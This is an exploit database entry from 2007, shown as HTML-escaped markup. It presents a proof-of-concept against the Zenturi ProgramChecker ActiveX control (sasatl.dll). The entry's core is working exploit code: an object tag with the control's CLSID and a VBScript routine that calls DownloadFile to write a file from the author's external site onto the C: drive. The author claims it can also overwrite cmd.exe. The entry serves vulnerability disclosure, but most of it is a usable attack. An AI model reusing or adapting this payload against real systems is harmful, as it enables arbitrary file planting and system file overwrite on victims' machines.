Zenturi ProgramChecker ActiveX File Download/Overwrite Exploit

🗓️ 01 Jun 2007 00:00:00Reported by RootType

Zenturi ProgramChecker ActiveX File Download/Overwrite Exploi


                                                &lt;pre&gt;
&lt;span&nbsp;style=&quot;font:&nbsp;14pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;p&nbsp;align=&quot;center&quot;&gt;&lt;b&gt;2007/05/30&lt;/b&gt;&lt;/p&gt;&lt;/span&gt;
&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;span&nbsp;class=&quot;general1-symbol&quot;&gt;-------------------------------------------------------------------------------------------
&nbsp;&lt;b&gt;Zenturi&nbsp;ProgramChecker&nbsp;ActiveX&nbsp;(sasatl.dll)&nbsp;Arbitrary&nbsp;file&nbsp;download/overwrite&nbsp;Exploit&lt;/b&gt;
&nbsp;url:&nbsp;http://www.programchecker.com/activeintro.aspx

&nbsp;author:&nbsp;shinnai
&nbsp;mail:&nbsp;shinnai[at]autistici[dot]org
&nbsp;site:&nbsp;http://shinnai.altervista.org
&nbsp;
&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;all&nbsp;patched,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;7
&nbsp;all&nbsp;software&nbsp;that&nbsp;use&nbsp;this&nbsp;ocx&nbsp;are&nbsp;vulnerable&nbsp;to&nbsp;this&nbsp;exploits.

&nbsp;Using&nbsp;the&nbsp;&quot;DownloadFile&quot;&nbsp;method,&nbsp;you&nbsp;can&nbsp;download&nbsp;everything&nbsp;you&nbsp;want&nbsp;on&nbsp;a&nbsp;pc.&nbsp;This
&nbsp;exploit&nbsp;just&nbsp;download&nbsp;a&nbsp;txt&nbsp;file&nbsp;on&nbsp;pc,&nbsp;I&nbsp;try&nbsp;to&nbsp;overwrite&nbsp;cmd.exe&nbsp;and&nbsp;it&nbsp;works.
-------------------------------------------------------------------------------------------

&lt;object&nbsp;classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5'&nbsp;id='test'&nbsp;&gt;&lt;/object&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=tryMe()&nbsp;type=button&nbsp;value=&quot;Click&nbsp;here&nbsp;to&nbsp;start&nbsp;the&nbsp;test&quot;&gt;

&lt;script&nbsp;language='vbscript'&gt;
Sub&nbsp;tryMe()
&nbsp;
&nbsp;test.DownloadFile&nbsp;&quot;http://www.shinnai.altervista.org/shinnai.txt&quot;&nbsp;,&quot;c:\shinnai.txt&quot;&nbsp;,&quot;0&quot;,&nbsp;&quot;0&quot;

End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

01 Jun 2007 00:00Current

7.1High risk

Vulners AI Score7.1